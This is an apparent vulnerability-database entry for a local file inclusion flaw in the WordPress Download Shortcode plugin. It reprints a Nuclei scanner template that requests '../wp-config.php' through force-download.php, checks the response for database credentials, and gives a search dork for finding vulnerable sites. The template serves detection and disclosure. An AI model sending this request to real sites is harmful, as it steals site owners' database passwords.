shortcode-lfi: WordPress Download Shortcode 0.2.3 - Local File Inclusion

2025-08-01 WordPress Download Shortcode PoC Public

Description

WordPress Download Shortcode 0.2.3 is prone to a local file inclusion vulnerability because it fails to sufficiently sanitize user-supplied input. Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks. Prior versions may also be affected.

Details

Severity
高危
Affected
WordPress Download Shortcode
Published
PoC
Public

PoC

id: shortcode-lfi

info:
  name: WordPress Download Shortcode 0.2.3 - Local File Inclusion
  author: dhiyaneshDK
  severity: high
  description: WordPress Download Shortcode 0.2.3 is prone to a local file inclusion vulnerability because it fails to sufficiently sanitize user-supplied input. Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks. Prior versions may also be affected.
  reference:
    - https://packetstormsecurity.com/files/128024/WordPress-ShortCode-1.1-Local-File-Inclusion.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
    cpe: cpe:2.3:a:halulu:simple-download-button-shortcode:*:*:*:*:wordpress:*:*:*
  metadata:
    max-request: 1
    google-query: inurl:wp/wp-content/force-download.php
    product: simple-download-button-shortcode
    vendor: halulu
  tags: lfi,shortcode,wp,packetstorm,wordpress,wp-plugin,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/force-download.php?file=../wp-config.php'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402201c8899bef843733b1578ca9233a9c6bbc171d8b187cf2310d8e45089e2b6fe3202206ad5775adf556bab87de415192a25c5b2abbc1e9c271c1b8a87529248a963fb1:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities

微信搜一搜 biu.life